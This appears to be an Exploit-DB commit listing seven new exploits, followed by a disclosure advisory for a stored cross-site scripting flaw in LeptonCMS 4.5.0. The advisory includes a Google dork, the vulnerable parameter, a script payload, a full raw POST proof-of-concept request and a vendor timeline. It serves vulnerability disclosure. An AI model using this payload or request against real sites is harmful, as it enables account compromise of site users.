606ad946d3
7 changes to exploits/shellcodes AVAST SecureLine 5.5.522.0 - 'SecureLine' Unquoted Service Path 10-Strike Network Inventory Explorer - 'srvInventoryWebServer' Unquoted Service Path 10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH) Wordpress Plugin WPForms 1.5.9 - Persistent Cross-Site Scripting Wordpress Plugin WPForms 1.5.8.2 - Persistent Cross-Site Scripting Joomla! Component GMapFP 3.30 - Arbitrary File Upload LeptonCMS 4.5.0 - Persistent Cross-Site Scripting Windows/x64 - WinExec Add-Admin Dynamic Null-Free Shellcode (210 Bytes)
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# Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
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# Google Dork: "lepton cms"
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# Date: 2019-03-24
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# Exploit Author: SunCSR (Sun* Cyber Security Research)
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# Vendor Homepage: https://lepton-cms.org/english/home.php
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# Software Link:
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https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php
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# Version: 4.5.0
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# Tested on: Windows
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# CVE : N/A
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### Vulnerability : Persistent Cross-Site Scripting
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# Description
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A stored cross-site-scripting security issue in the edit page feature
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Url : http://TARGET/lepton/backend/pages/modify.php
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Request Type: POST
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Vulnerable Parameter : "content"
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Payload : content=<script>alert('XSS')</script>
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#POC
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POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez1585032684 HTTP/1.1
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Host: TARGET
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 79
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Origin: http://TARGET
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Connection: close
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Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z1585032680
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Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul
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Upgrade-Insecure-Requests: 1
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page_id=5§ion_id=5&content5=<script>alert('XSS')</script>
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### History
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=============
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2020-03-18 Issue discovered
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2020-04-20 Vendor contacted
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2020-04-21 Vendor response and hotfix
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2020-04-23 Vendor releases fixed versions |